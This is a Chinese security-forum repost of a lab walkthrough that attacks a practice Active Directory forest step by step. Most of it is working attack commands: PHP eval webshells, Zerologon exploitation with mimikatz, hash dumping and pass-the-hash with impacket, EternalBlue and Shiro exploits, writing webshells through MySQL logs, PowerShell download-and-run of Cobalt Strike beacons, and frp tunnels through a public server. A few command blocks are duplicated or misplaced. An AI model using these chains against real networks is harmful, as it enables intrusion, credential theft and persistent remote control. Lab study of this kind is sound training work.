安全矩阵

 找回密码
 立即注册
搜索
查看: 2329|回复: 0

【内网渗透系列】|21-实战渗透-域森林+服务森林(上)【...

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-8 11:46:41 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-8 11:52 编辑

【内网渗透系列】|21-实战渗透-域森林+服务森林(上)【内网靶场下载】
特mac0x01 Hacking黑白红

2022-04-08 08:33
转自freebuf

本文目录
0x01 配置代理
一、设置Proxifier
二、配置hosts文件
0x02 攻击DAYU子域普通域客户机
一、弱口令爆破
二、webshell上线
三、CS上线
四、通过MS14-068提权
0x03 攻击DAYU子域控服务器
一、web服务器信息收集
二、检查是否存在CVE-2020-1472漏洞
三、通过frp建立隧道
四、获取管理员hash值
五、CS上线
六、恢复hash
七、子域信息收集
0x04 攻击DAYU父域主域控服务器
一、利用CVE-2020-1472漏洞
二、利用wmiexec空密码登录
三、CS上线
0x05 攻击DAYU父域辅域控服务器
一、利用CVE-2020-1472漏洞
二、利用wmiexec登录
三、CS上线
0x06 攻击DAYU父域普通域客户机
一、信息收集
二、JBoss利用并上线CS
0x07 攻击安全域域控服务器
一、信息收集
二、shiro反序列化利用并上线
三、mysql日志写入shell并上线CS
0x08 攻击安全域涉密客户机
一、信息收集
二、构建二级frp
三、mysql弱口令连接并上线CS


首先感谢大余师父搭的内网渗透靶场,靶场总共分为两部分,一部分为域渗透,另一部分为服务攻防。
整个靶场攻占涉及到的技术包括代理、域渗透攻击(置零攻击、域信任、票据传递、哈希传递等)、服务渗透攻击(Shiro反序列化、Struts2远程代码执行、ThinkPHP远程代码执行等)。
我将从DAYU子域web服务器入手进行渗透,目标包括DAYU主域控、DAYU辅域控、DAYU子域控、独立域控、安全域控以及各类服务主机。具体靶场图如下:

0x01 配置代理
一、设置Proxifier
在mac下通过Proxifier设置全局代理,通过socks进入目标环境
  1. x.x.x.x 10000
复制代码



二、配置hosts文件
在/etc/host下配置
  1. 192.168.73.137 www.dayugs.com
复制代码



0x02 攻击DAYU子域普通域客户机

一、弱口令爆破
  1. 访问<code>http://www.dayugs.com</code>,源码为yxcms
复制代码


通过资料查询,可以拿到yxcms的后台地址
  1. <code>http://你的域名/index.php?r=admin/index/login</code>,账号密码为admin/123456
复制代码


那么访问http://www.dayugs.com/index.php?r=admin/index/login,即可访问到后台地址

之后尝试弱口令爆破(虽然已经知道默认账号密码),首先该后台存在验证码,但是经测试它是可以重复利用的

之后将数据包放入intruder中进行测试

成功爆出密码为123456

通过该账号密码登录后台

选择前台模版,在index_index.php中插入一句话木马

  1. <?php @eval($_POST['mac'])?>
复制代码



二、webshell上线
保存该配置,并通过蚁剑上线webshell

测试连接,成功上线

三、CS上线

通过命令查看系统信息,目标web机器为64位操作系统
  1. systeminfo
复制代码



通过ping命令发现该web服务器出网

在V-P-S上通过Cobalt Strike生成windows后门
这里使用CS可能会遇到这几个问题
java未安装
解决方法:teamserver基于java,所以需要先安装java
  1. yum install java
复制代码



客户端无法连接问题
解决方法:
在控制台上开放50050端口

关闭linux防火墙
  1. systemctl stop firewalld.service
复制代码


服务端开启CS
  1. ./teamserver x.x.x.x adminadmin
复制代码


连接Cobalt Strike,配置IP和账号密码

设置监听器并生成后门

上传后门并执行上线CS

这里又遇到了问题,执行后CS不上线,发现还是腾讯云控制台的问题,需放通全部端口

之后可以成功上线

四、通过MS14-068提权
通过dayu插件进行MS14-068提权

选择监听器,运行后提权

成功提权web服务器的system权限

0x03 攻击DAYU子域控服务器

一、web服务器信息收集
本机信息收集存在双网卡,分别为192.168.73.0/24以及10.10.10.0/24网段

​​​​​​​
  1. 主机名 : web
  2. 网卡1 : 192.168.73.137
  3. 网卡2 : 10.10.10.101
  4. 默认网关 : 10.10.10.1
  5. 域名 : ziyu.dayu.com
复制代码

上传nbtscan后对两个网段进行扫描,发现192.168.73.0/24为外网网段,10.10.10.0/24则为内网网段,于是重点关注后者

发现三台DC,分别是10.10.10.5、10.10.10.6、10.10.10.66,分别对应域为DAYU、DAYU、AQ,唯独没有发现当前子域的域控,于是尝试ping该域,获得IP地址,为10.10.10.6

通过信息整合,10.10.10.0/24网段下主机信息收集如下​​​​​​​
  1. 10.10.10.5 : DAYU主域控
  2. 10.10.10.6 : DAYU辅域控
  3. 10.10.10.10 : DAYU子域控
  4. 10.10.10.66 : AQ域控
  5. 10.10.10.90 : DAYU普通域用户
  6. 10.10.10.101 : DAYU子域普通用户(本机)
复制代码

二、检查是否存在CVE-2020-1472漏洞
在文件管理中上传一个mimikatz.exe

执行命令检测是否存在CVE-2020-1472
  1. shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU[        DISCUZ_CODE_11        ]quot; "exit"
复制代码



发现存在该漏洞,可以通过以下命令进行置零攻击
  1. shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$ /exploit" "exit"
复制代码



三、通过frp建立隧道(一)相关配置

配置frps.ini和frpc.ini
frps.ini​​​​​​​
  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 7000
复制代码

frpc.ini​​​​​​​
  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 7000
复制代码

(二)命令执行
向V-P-S上传frps.ini和frps,向web服务器上传frpc和frpc.ini,并通过命令执行,建立隧道

设置proxychains.conf

通过代理远程连接10.10.10.10的3389端口,frp隧道建立成功

四、获取管理员hash值
通过impacket-secretsdump对子域控进行无密码hash读取
  1. proxychains impacket-secretsdump -no-pass -just-dc ziyu.dayu.com/ZIYU\$@10.10.10.10
复制代码


五、CS上线

在CS上建立中转监听

设置名字和监听地址

之后生成mac.exe木马

(一)利用wmicexec.py进行攻击
  1. proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./Administrator@10.10.10.10
复制代码



上传木马mac.exe并执行
  1. put mac.exe
复制代码



但是这里无法上线,可能是防火墙开着,于是使用taowu的插件将web服务器的防火墙进行关闭,之后成功上线CS

(二)利用永恒之蓝进行攻击
进入msf后​​​​​​​
  1. msf > use auxiliary/admin/smb/ms17_010_command
  2. msf > setg Proxies socks5:1.117.58.131:6000
  3. msf > setg ReverseAllowProxy true
  4. msf > set command whoami
  5. msf > set rhosts 10.10.10.10
  6. msf > run
复制代码


通过永恒之蓝创建域管理员​​​​​​​
  1. msf > use auxiliary/admin/smb/ms17_010_command
  2. msf > setg Proxies socks5:1.117.58.131:6000
  3. msf > setg ReverseAllowProxy true
  4. msf > set command whoami
  5. msf > set rhosts 10.10.10.10
  6. msf > run
复制代码


可以看到mac1已经是域管账号了,在CS中通过IPC连接域控​​​​​​​
  1. shell net use \\10.10.10.10\ipc$ "QWEasd123" /user:mac1
  2. shell net use
  3. shell dir \\10.10.10.10\c$
复制代码


之后在web服务器上传木马再通过IPC上传木马
  1. shell copy mac1.exe \\10.10.10.10\c$
复制代码


六、恢复hash
在CS的域控中执行操作:
(一)将system.save、sam.save、security.save三个文件拷贝到本地
先将三个文件保存下来​​​​​​​
  1. reg save HKLM\SYSTEM system.save
  2. reg save HKLM\SAM sam.save
  3. reg save HKLM\SECURITY security.save
复制代码


在kali使用wmic获取shell操作(可能会掉线)
下载​​​​​​​
  1. get system.save
  2. get sam.save
  3. get security.save
复制代码
删除域控中的文件
  1. del /f system.save
  2. del /f sam.save
  3. del /f security.save
复制代码


(二)secretsdump获取原hash
使用impacket中的secretsdump,从上面得到的几个文件中还原账户哈希值。
  1. impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
复制代码



得到$MACHINE.ACC:
aad3b435b51404eeaad3b435b51404ee:6cb780aa112acd1199cb9fd57a24fd02
(三)恢复密码
  1. proxychains python3 reinstall_original_pw.py ZIYU 10.10.10.10 6cb780aa112acd1199cb9fd57a24fd02
复制代码


显示Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.,说明恢复成功

也可以通过hex来进行恢复,命令如下
  1. proxychains python3 restorepassword.py ZIYU0\ZIYU -target-ip 10.10.10.10 -hexpass [hex]
复制代码


检查情况
  1. net group "domain controllers" /domain
复制代码


七、子域信息收集
通过ipconfig和systeminfo发现该域控为win server 2016系统,且存在两个网卡,分别为10.10.10.0/24和10.12.10.0/24


上传nbtscan,并对新网段进行扫描


发现10.12.10.3,为独立域的域控

0x04 攻击DAYU父域主域控服务器

一、利用CVE-2020-1472漏洞
上传mimikatz对父域控进行置零漏洞探测
  1. shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123[        DISCUZ_CODE_29        ]quot; "exit"
复制代码



通过探测,发现存在该漏洞,于是执行置零攻击
  1. shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$ /exploit" "exit"
复制代码



通过impacket-secretsdump导出hash值
  1. proxychains impacket-secretsdump -no-pass -just-dc WIN-AMJ9T9TL123.dayu/WIN-AMJ9T9TL123\$@10.10.10.5
复制代码



拿到hash值,为99b81196c641b05ce3cb7fcd7c27e094

二、利用wmiexec空密码登录
使用wmiexec登陆进Administrator账户
  1. proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.5
复制代码



三、CS上线

在CS上建立中转监听,同时生成木马mac2.exe

通过wmicexec.py上传mac2.exe

成功上线CS

0x05 攻击DAYU父域辅域控服务器

一、利用CVE-2020-1472漏洞
上传mimikatz对父域控进行置零漏洞探测
  1. shell mimikatz.exe "lsadump::zerologon /target:10.10.10.6 /account:FUYU[        DISCUZ_CODE_33        ]quot; "exit"
复制代码



说明该辅域也是存在该漏洞的,那么可以通过置零攻击来获取administrator的shell,但是因为辅域和主域的hash值相同,那么可以通过wmiexec直接获取shell
二、利用wmiexec登录
  1. proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.6
复制代码




三、CS上线
与进攻父域的主域控一样,上传mac2.exe​​​​​​​
  1. put mac2.exe
  2. mac2.exe
复制代码


执行后成功上线CS

0x06 攻击DAYU父域普通域客户机

一、信息收集
使用nmap对其进行端口探测,发现存在一个8080端口
  1. proxychains nmap -sT -sV -Pn --open -p 8080,3306,6379,80,1433,27017 10.10.10.90
复制代码



发现只有8080端口是开放的,通过firefox对其进行访问,发现目标站点使用的JBoss中间件
  1. proxychains firefox http://10.10.10.90:8080
复制代码



二、JBoss利用并上线CS
工具地址:https://github.com/joaomatosf/jexboss
下载利用工具并对目标进行JBoss漏洞探测​​​​​​​
  1. git clone https://github.com/joaomatosf/jexboss
  2. proxychains python jexboss.py -host http://10.10.10.90:8080
复制代码


选择yes,成功获取shell

将mac2.exe放入10.10.10.101这台web服务器上

利用powershell进行下载执行
  1. powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/mac2.exe','mac2.exe');start-process mac2.exe
复制代码



成功上线CS

0x07 攻击安全域域控服务器

一、信息收集
使用nmap对其进行端口探测,发现存在一个8080端口
  1. powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/mac2.exe','mac2.exe');start-process mac2.exe
复制代码



发现80、3306、8080端口是开放的,通过firefox对8080端口进行访问​​​​​​​
  1. proxychains firefox http://10.10.10.66:8080
  2. proxychains firefox http://10.10.10.66:80
复制代码

80端口为phpstudy默认界面,8080端口为tomcat的管理界面,访问登录口
http://10.10.10.66:8080/manager/html报错

对8080端口进行目录扫描,发现http://10.10.10.66:8080/shiro为shiro框架

二、shiro反序列化利用并上线
工具:https://github.com/zhzyker/shiro-1.2.4-rce
验证漏洞是否存在​​​​​​​
  1. git clone https://github.com/zhzyker/shiro-1.2.4-rce.git
  2. cd shiro-1.2.4-rce
  3. proxychains python3 shiro-1.2.4_rce.py http://10.10.10.66:8080/shiro/
复制代码

其中出现问题,通过以下方式解决报错No module named 'Crypto'​​​​​​​
  1. pip install pycryptodome
  2. pip install crypto
  3. pip install pycrypto
复制代码


在执行前需要先将key_list修改

通过powershell下载mac2.exe并执行
  1. powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/mac2.exe','mac2.exe');start-process mac2.exe
复制代码


但是显示key错误,无法上线

三、mysql日志写入shell并上线CS
通过目录扫描发现http://10.10.10.66:80/phpmyadmin,通过弱口令成功登录
  1. proxychains firefox http://10.10.10.66:80/phpmyadmin
复制代码



通过into outfile写入shell
  1. show global variables like "%secure_file_priv%";
复制代码



结果为null,表示无法导入导出,于是查看日志
  1. show variables like "general%";
复制代码




可以看到日志已开启,也可以修改日志文件位置​​​​​​​
  1. set global general_log="ON";
  2. set global general_log_file='C:/phpStudy/WWW/mac1.php';
  3. show variables like "general%";
复制代码


写入一句话木马
  1. select '<?php @eval($_POST[mac]);?>'
复制代码



访问http://10.10.10.66/mac.php,成功写入

连接蚁剑,设置代理为1.117.58.131 6000,成功上线

上传mac2.exe并执行,成功上线CS

0x08 攻击安全域涉密客户机

一、信息收集
通过对涉密域进行信息收集,上传fscan

扫描结果如下

存在涉密域,IP为201.1.10.206,且上面部署了http服务
二、构建二级frp
(一)相关配置
安全域frpc.ini配置如下​​​​​​​
  1. [common]
  2. server_addr = 10.10.10.101
  3. server_port = 12000
  4. [http_proxy]
  5. type = tcp
  6. remote_port = 1096
  7. plugin = socks5
复制代码

Web服务器frps.ini配置如下​​​​​​​
  1. [common]
  2. bind_addr = 10.10.10.101
  3. bind_port = 12000
复制代码

Web服务器frpc.ini配置如下​​​​​​​
  1. [common]
  2. server_addr = 1.117.58.131
  3. server_port = 12000
  4. [http_proxy]
  5. type = tcp
  6. local_ip = 10.10.10.101
  7. local_port = 1096
  8. remote_port = 1096
复制代码

公网服务器frps.ini配置如下​​​​​​​
  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 12000
复制代码

(二)命令执行
首先先开启服务端的frp,在web服务器和公网服务器下执行如下命令​​​​​​​
  1. frps.exe -c frps.ini
  2. ./frps -c frps.ini
复制代码


之后在安全域中执行
frpc.exe -c frpc.ini

最后在web服务器中执行
  1. frpc.exe -c frpc.ini
复制代码



注意:需要开启proxy success成功才行
在proxychains添加代理
  1. vim /etc/proxychains.conf
复制代码



三、mysql弱口令连接并上线CS
通过访问http://201.1.10.206:8080
  1. proxychains firefox http://201.1.10.206:8080
复制代码



访问http://201.1.10.206:8080/manager/html不可进入

于是开启msf,通过设置代理对目标机器进行mysql密码爆破​​​​​​​
  1. msfconsole
  2. msf > use auxiliary/scanner/mysql/mysql_login
  3. msf > setg Proxies socks5:1.117.58.131:1096
  4. msf > setg ReverseAllowProxy true
  5. msf > set rhosts 201.1.10.206
  6. msf > set PASSFILE xxx
  7. msf > exploit
复制代码

爆破得到密码为root,同时直接登录mysql
  1. proxychains mysql -u root -proot -h201.1.10.206
复制代码


查看是否拥有写入文件的权限和写入位置,空表示可以写入任意位置
  1. show global variables like '%secure_file_priv%';
复制代码


写入木马到网站目录下
  1. select '<?php @eval($_POST[mac]);?>' into outfile 'C:/phpStudy/WWW/mac1.php';
复制代码



于是访问http://201.1.10.206/mac1.php,访问成功,说明存在

连接蚁剑,设置代理为1.117.58.131 1096,成功连接

之后在安全域(201.1.10.5)中设置中转监听,同时生成木马mac3.exe

上传mac3.exe并执行

成功上线CS

还可以通过80端口的phpmyadmin来上线,在攻击涉密域中会讲到,欢迎大家继续关注实战域森林+服务森林下篇
本文作者:特mac0x01, 转载请注明来自FreeBuf.COM
推荐阅读
【内网渗透系列】|19-内网渗透之域环境渗透测试过程
【内网渗透系列】|18-一次模拟从外网到内网漫游的实验过程
【内网渗透系列】|17-从公网渗透到内网、拿域控(附:靶场下载)
【内网渗透系列】|16-三层网络渗透测试实验(文末附 内网渗透靶场 下载方式)
【内网渗透系列】|15-内网渗透、横向攻击思路(文末赠内网渗透书籍)
【内网渗透系列】|14-内网穿透之多层代理
【内网渗透系列】|13-哈希传递攻击利用(Pass The Hash)
ATT&CK实战系列-红队评估 (一)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (二)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (三)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (五)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (六)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (七)Vulnstack三层网络域渗透靶场
【内网渗透系列】1-暗月出师三层网络靶机7 writeup(附带【其他内网靶场】链接地址)
域渗透之(白银票据利用)
域渗透之黄金票据的利用
【内网渗透系列】- 获取windows hash的几种方式(文中附工具下载链接)
内网穿透 | 一文让你熟练运用内网穿透(步骤详细)


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:25 , Processed in 0.023299 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表